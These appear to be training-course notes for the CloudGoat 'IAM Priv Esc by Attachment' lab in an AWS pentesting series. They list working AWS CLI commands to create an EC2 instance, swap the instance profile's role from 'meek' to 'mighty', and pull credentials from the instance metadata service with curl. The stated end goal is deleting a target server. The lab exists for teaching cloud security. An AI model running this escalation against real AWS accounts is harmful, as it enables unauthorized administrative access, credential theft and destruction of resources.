

- Filename: intro-to-aws-pentesting-4-5-1-iam-priv-esc-by-attachment.md
- Show Name: Intro to AWS Pentesting
- Topic Name: CloudGoat
- Episode Name: IAM Priv Esc by Attachment

IAM Priv Esc by Attachment

Objectives:

- Utilize aws pentesting tools, tactics, and procedures to solve the CloudGoat 'IAM Priv Esc by Attachment' challenge
- Perform information gathering through enumeration of policies and permissions
- Utilize improperly set IAM Role policy and EC2 Instance Profile to gain administrative access to AWS

• Quick wins?

- `aws s3 ls`
- `aws ec2 describe-volumes`
- `aws iam list-roles`

■ We found 2 roles

- **Meek**
- **Mighty**

■ We should check out any Instance Profiles

• What is an 'instance profile'?

- This is how you give an ec2 instance permissions
 - like a container for a role
 - You attach a role to an instance using an instance profile

• What do we do with this info?

- Hopefully we can
 - Create an instance
 - Attach Instance Profile fro priv esc

• Where do we begin?

◦ SSH keys

- `aws --profile kerrigan ec2 create-key-pair --key-name privesc-key --query 'KeyMaterial' --output text > privesc-key.pem`

■ Set permissions

- `chmod 600 privesc-key.pem`

■ Now we can create an ec2 instance

• What do we need to create a new ec2 instance?

- SSH Key
- ImageId
- InstanceType
- iam-instance-profile arn
- ssh key
- SubnetId
- Security Group ID (sg-something)
- Region

■ Here's a magic incantation for gathering those bits

- `raid aws --profile kerrigan ec2 describe-instances --instance-ids i-xxxxxxxxxxxxxxxx | grep 'ami\|subnet\|GroupName\|GroupId\|us-'`

- *Now we create the instance?*

- `raid aws --profile kerrigan ec2 run-instances --image-id ami-xxxxxxx --instance-type t2.micro --iam-instance-profile Arn=arn:aws:iam:xxxxx:meek-instance-profile-arn --key-name privesc-key --subnet-id subnet-xxxxxxx --security-group-ids sg-xxxxxxx --region us-east-1`

- *Did we win?*

- Not yet

- Instance Profiles can have exactly 1 attached role
- We need to detach the Meek role
- We need to attach the Mighty role

- `aws --profile kerrigan iam remove-role-from-instance-profile --instance-profile-name cg-ec2-meek-instance-profile --role-name cg-ec2-meek-role`
- `aws --profile kerrigan iam add-role-to-instance-profile --instance-profile-name cg-ec2-meek-instance-profile --role-name cg-ec2-mighty-role`

- *Now that the mighty role has been attached, how do we utilize it?*

- Login to the created instance

- Grab creds from Instance Meta-Data Service

- `curl http://169.254.169.254/latest/iam/security-credentials`

- Install **awscli** and do all the aws things
- Delete the ~~super-critical-security-server~~